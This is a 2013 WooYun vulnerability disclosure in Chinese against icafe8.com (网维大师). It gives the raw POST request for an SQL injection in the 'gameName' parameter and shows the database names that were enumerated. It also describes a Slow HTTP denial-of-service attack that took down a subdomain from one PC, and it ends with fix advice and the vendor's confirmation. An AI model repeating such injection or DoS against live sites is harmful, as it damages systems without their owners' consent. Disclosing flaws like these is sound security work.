漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-041458
漏洞标题：网维大师多个安全问题礼包(sql注入)
相关厂商：网维大师
漏洞作者： 海绵宝宝
提交时间：2013-10-30 15:05
修复时间：2013-12-14 15:05
公开时间：2013-12-14 15:05
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-10-30： 细节已通知厂商并且等待厂商处理中
2013-10-30： 厂商已经确认，细节仅向厂商公开
2013-11-09： 细节向核心白帽子及相关领域专家公开
2013-11-19： 细节向普通白帽子公开
2013-11-29： 细节向实习白帽子公开
2013-12-14： 细节向公众公开
简要描述：
多个安全问题打包
post注射，Slow HTTP Denial of Service 攻击
详细说明：
网维大师主站POST注射一枚
分站
Slow HTTP Denial of Service 攻击
主站post注入
post数据包 gameName存在注入
POST /frontEnd/frontGameUpdList.do HTTP/1.1
Content-Length: 66
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://icafe8.com
Cookie: JSESSIONID=EE75A51C1D5C40F9825BE23B55C31BDB.tomcat1-wwds
Host: icafe8.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
gameName=1&pageNum=1
分站
http://support.icafe8.com
http://jf.icafe8.com
可利用Slow HTTP Denial of Service进行攻击
攻击细节可参见此博客http://blog.sina.com.cn/s/blog_bce68edc0101ezas.html
最终结果可造成网站宕掉
漏洞证明：
POST注射
available databases [8]:
[*] [game_backup\x11]
[*] admin
[*] game
[*] master
[*] model
[*] msdb
[*] para_config
[*] tempdb
关于Slow HTTP Denial of Service
http://support.icafe8.com 仅用一台个人PC，宕掉一个网站
http://jf.icafe8.com 效果并不明显，但在攻击中，多次刷新，用ie和火狐均有错误信息出现,而且打开网页速度变慢
修复方案：
1.post注射，过滤
2.Slow HTTP Denial of Service防护 https://community.qualys.com/blogs/securitylabs/2011/11/02/how-to-protect-against-slow-http-attacks
版权声明：转载请注明来源 海绵宝宝@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2013-10-30 15:35
厂商回复：
感谢关注顺网安全，已经安排人员进行修复.
最新状态：
暂无